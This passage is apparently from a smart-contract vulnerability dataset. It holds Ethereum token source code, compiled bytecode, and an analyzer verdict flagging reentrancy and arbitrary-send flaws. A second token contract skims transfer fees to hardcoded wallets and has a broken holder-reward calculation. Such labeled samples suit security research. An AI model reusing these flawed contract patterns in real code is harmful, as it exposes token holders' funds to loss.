tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e8e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612995565b61045e565b6040516101789190612e73565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613030565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612942565b61048d565b6040516101e09190612e73565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128a8565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130a5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a1e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128a8565b610783565b6040516102b19190613030565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612da5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e8e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612995565b61098d565b60405161035b9190612e73565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129d5565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a78565b6110ab565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612902565b6111f4565b6040516104189190613030565b60405180910390f35b60606040518060400160405280600981526020017f5370616365506570650000000000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b610556856040518060600160405280602881526020016137ac60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f70565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f70565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5350415045000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f70565b60405180910390fd5b60005b8151811015610ad157600160066000848481518110610a6557610a646133ed565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990613346565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611dda565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612f70565b60405180910390fd5b601160149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612ff0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906128d5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906128d5565b6040518363ffffffff1660e01b8152600401610df9929190612dc0565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b91906128d5565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612e12565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612aa5565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506722b1c8c1227a00006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612de9565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a79190612a4b565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612f70565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612f30565b60405180910390fd5b6111b260646111a483683635c9adc5dea0000061206290919063ffffffff16565b6120dd90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111e99190613030565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612fd0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612ef0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190613030565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612fb0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612eb0565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612f90565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57601160179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90613010565b60405180910390fd5b5b5b60125481111561182957600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750601160179054906101000a900460ff165b15611a905742600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b601e42611a4c9190613166565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050601160159054906101000a900460ff16158015611b085750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750601160169054906101000a900460ff165b15611b4857611b2e81611dda565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612127565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612e8e565b60405180910390fd5b5060008385611c649190613247565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc16002846120dd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cec573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d3d6002846120dd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d68573d6000803e3d6000fd5b5050565b6000600854821115611db3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611daa90612ed0565b60405180910390fd5b6000611dbd612154565b9050611dd281846120dd90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e1257611e1161341c565b5b604051908082528060200260200182016040528015611e405781602001602082028036833780820191505090505b5090503081600081518110611e5857611e576133ed565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611efa57600080fd5b505afa158015611f0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f3291906128d5565b81600181518110611f4657611f456133ed565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fad30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201195949392919061304b565b600060405180830381600087803b15801561202b57600080fd5b505af115801561203f573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b60008083141561207557600090506120d7565b6000828461208391906131ed565b905082848261209291906131bc565b146120d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c990612f50565b60405180910390fd5b809150505b92915050565b600061211f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061217f565b905092915050565b80612135576121346121e2565b5b612140848484612225565b8061214e5761214d6123f0565b5b50505050565b6000806000612161612404565b9150915061217881836120dd90919063ffffffff16565b9250505090565b600080831182906121c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bd9190612e8e565b60405180910390fd5b50600083856121d591906131bc565b9050809150509392505050565b6000600a541480156121f657506000600b54145b1561220057612223565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061223787612466565b95509550955095509550955061229586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ce90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237681612576565b6123808483612633565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123dd9190613030565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea00000905061243a683635c9adc5dea000006008546120dd90919063ffffffff16565b82101561245957600854683635c9adc5dea00000935093505050612462565b81819350935050505b9091565b60008060008060008060008060006124838a600a54600b5461266d565b9250925092506000612493612154565b905060008060006124a68e878787612703565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061251083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b60008082846125279190613166565b90508381101561256c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256390612f10565b60405180910390fd5b8091505092915050565b6000612580612154565b90506000612597828461206290919063ffffffff16565b90506125eb81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612648826008546124ce90919063ffffffff16565b6008819055506126638160095461251890919063ffffffff16565b6009819055505050565b600080600080612699606461268b888a61206290919063ffffffff16565b6120dd90919063ffffffff16565b905060006126c360646126b5888b61206290919063ffffffff16565b6120dd90919063ffffffff16565b905060006126ec826126de858c6124ce90919063ffffffff16565b6124ce90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061271c858961206290919063ffffffff16565b90506000612733868961206290919063ffffffff16565b9050600061274a878961206290919063ffffffff16565b905060006127738261276585876124ce90919063ffffffff16565b6124ce90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279f61279a846130e5565b6130c0565b905080838252602082019050828560208602820111156127c2576127c1613450565b5b60005b858110156127f257816127d888826127fc565b8452602084019350602083019250506001810190506127c5565b5050509392505050565b60008135905061280b81613766565b92915050565b60008151905061282081613766565b92915050565b600082601f83011261283b5761283a61344b565b5b813561284b84826020860161278c565b91505092915050565b6000813590506128638161377d565b92915050565b6000815190506128788161377d565b92915050565b60008135905061288d81613794565b92915050565b6000815190506128a281613794565b92915050565b6000602082840312156128be576128bd61345a565b5b60006128cc848285016127fc565b91505092915050565b6000602082840312156128eb576128ea61345a565b5b60006128f984828501612811565b91505092915050565b600080604083850312156129195761291861345a565b5b6000612927858286016127fc565b9250506020612938858286016127fc565b9150509250929050565b60008060006060848603121561295b5761295a61345a565b5b6000612969868287016127fc565b935050602061297a868287016127fc565b925050604061298b8682870161287e565b9150509250925092565b600080604083850312156129ac576129ab61345a565b5b60006129ba858286016127fc565b92505060206129cb8582860161287e565b9150509250929050565b6000602082840312156129eb576129ea61345a565b5b600082013567ffffffffffffffff811115612a0957612a08613455565b5b612a1584828501612826565b91505092915050565b600060208284031215612a3457612a3361345a565b5b6000612a4284828501612854565b91505092915050565b600060208284031215612a6157612a6061345a565b5b6000612a6f84828501612869565b91505092915050565b600060208284031215612a8e57612a8d61345a565b5b6000612a9c8482850161287e565b91505092915050565b600080600060608486031215612abe57612abd61345a565b5b6000612acc86828701612893565b9350506020612add86828701612893565b9250506040612aee86828701612893565b9150509250925092565b6000612b048383612b10565b60208301905092915050565b612b198161327b565b82525050565b612b288161327b565b82525050565b6000612b3982613121565b612b438185613144565b9350612b4e83613111565b8060005b83811015612b7f578151612b668882612af8565b9750612b7183613137565b925050600181019050612b52565b5085935050505092915050565b612b958161328d565b82525050565b612ba4816132d0565b82525050565b6000612bb58261312c565b612bbf8185613155565b9350612bcf8185602086016132e2565b612bd88161345f565b840191505092915050565b6000612bf0602383613155565b9150612bfb82613470565b604082019050919050565b6000612c13602a83613155565b9150612c1e826134bf565b604082019050919050565b6000612c36602283613155565b9150612c418261350e565b604082019050919050565b6000612c59601b83613155565b9150612c648261355d565b602082019050919050565b6000612c7c601d83613155565b9150612c8782613586565b602082019050919050565b6000612c9f602183613155565b9150612caa826135af565b604082019050919050565b6000612cc2602083613155565b9150612ccd826135fe565b602082019050919050565b6000612ce5602983613155565b9150612cf082613627565b604082019050919050565b6000612d08602583613155565b9150612d1382613676565b604082019050919050565b6000612d2b602483613155565b9150612d36826136c5565b604082019050919050565b6000612d4e601783613155565b9150612d5982613714565b602082019050919050565b6000612d71601183613155565b9150612d7c8261373d565b602082019050919050565b612d90816132b9565b82525050565b612d9f816132c3565b82525050565b6000602082019050612dba6000830184612b1f565b92915050565b6000604082019050612dd56000830185612b1f565b612de26020830184612b1f565b9392505050565b6000604082019050612dfe6000830185612b1f565b612e0b6020830184612d87565b9392505050565b600060c082019050612e276000830189612b1f565b612e346020830188612d87565b612e416040830187612b9b565b612e4e6060830186612b9b565b612e5b6080830185612b1f565b612e6860a0830184612d87565b979650505050505050565b6000602082019050612e886000830184612b8c565b92915050565b60006020820190508181036000830152612ea88184612baa565b905092915050565b60006020820190508181036000830152612ec981612be3565b9050919050565b60006020820190508181036000830152612ee981612c06565b9050919050565b60006020820190508181036000830152612f0981612c29565b9050919050565b60006020820190508181036000830152612f2981612c4c565b9050919050565b60006020820190508181036000830152612f4981612c6f565b9050919050565b60006020820190508181036000830152612f6981612c92565b9050919050565b60006020820190508181036000830152612f8981612cb5565b9050919050565b60006020820190508181036000830152612fa981612cd8565b9050919050565b60006020820190508181036000830152612fc981612cfb565b9050919050565b60006020820190508181036000830152612fe981612d1e565b9050919050565b6000602082019050818103600083015261300981612d41565b9050919050565b6000602082019050818103600083015261302981612d64565b9050919050565b60006020820190506130456000830184612d87565b92915050565b600060a0820190506130606000830188612d87565b61306d6020830187612b9b565b818103604083015261307f8186612b2e565b905061308e6060830185612b1f565b61309b6080830184612d87565b9695505050505050565b60006020820190506130ba6000830184612d96565b92915050565b60006130ca6130db565b90506130d68282613315565b919050565b6000604051905090565b600067ffffffffffffffff821115613100576130ff61341c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613171826132b9565b915061317c836132b9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131b1576131b061338f565b5b828201905092915050565b60006131c7826132b9565b91506131d2836132b9565b9250826131e2576131e16133be565b5b828204905092915050565b60006131f8826132b9565b9150613203836132b9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561323c5761323b61338f565b5b828202905092915050565b6000613252826132b9565b915061325d836132b9565b9250828210156132705761326f61338f565b5b828203905092915050565b600061328682613299565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132db826132b9565b9050919050565b60005b838110156133005780820151818401526020810190506132e5565b8381111561330f576000848401525b50505050565b61331e8261345f565b810181811067ffffffffffffffff8211171561333d5761333c61341c565b5b80604052505050565b6000613351826132b9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133845761338361338f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61376f8161327b565b811461377a57600080fd5b50565b6137868161328d565b811461379157600080fd5b50565b61379d816132b9565b81146137a857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220119d3b5d6d310a0e1f5669c1444eec96dff5c6ba9caec7c96d84c4953194c70f64736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,778
0x618b1f3f8b5e9afd83bbba95a1fde68837600459
/** *Submitted for verification at Etherscan.io on 2021-07-13 */ pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. **/ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. **/ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). **/ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. **/ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". **/ contract Ownable { address public owner; address public creator; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender account. **/ constructor(address tokencontract) public { owner = tokencontract; } /** * @dev Throws if called by any account other than the owner. **/ modifier onlyCreator() { require(msg.sender == creator); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. **/ function transferOwnership(address newOwner) public onlyCreator { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic interface * @dev Basic ERC20 interface **/ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 **/ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. **/ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; address liquditiyfee=0x875B0659aCE609DC977B76179f00F3E3C192C7F1; address marketingfee=0x9DBe05cb11eB963B318799e743d6fFF9b4b1974B; address buybackandburnfee=0xc85E51040FFE457aFc24194B620786855dbA9167; address[] public holders; /** * @dev total number of tokens in existence **/ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. **/ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[liquditiyfee]=balances[liquditiyfee].add(_value*3/100); emit Transfer(msg.sender, liquditiyfee, _value*3/100); balances[marketingfee]=balances[marketingfee].add(_value*1/100); emit Transfer(msg.sender, marketingfee, _value*1/100); balances[buybackandburnfee]=balances[buybackandburnfee].add(_value*4/100); emit Transfer(msg.sender, buybackandburnfee, _value*4/100); for(uint j=0; j < holders.length; j++) { if(balances[holders[j]] > 0) { balances[holders[j]] = balances[holders[j]].add(_value*(4/holders.length)/100); emit Transfer(msg.sender, holders[j],_value*(4/holders.length)/100); } } balances[_to] = balances[_to].add(_value*88/100); emit Transfer(msg.sender, _to, _value*88/100); holders.push(_to); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. **/ function balanceOf(address _owner) public view returns (uint256) 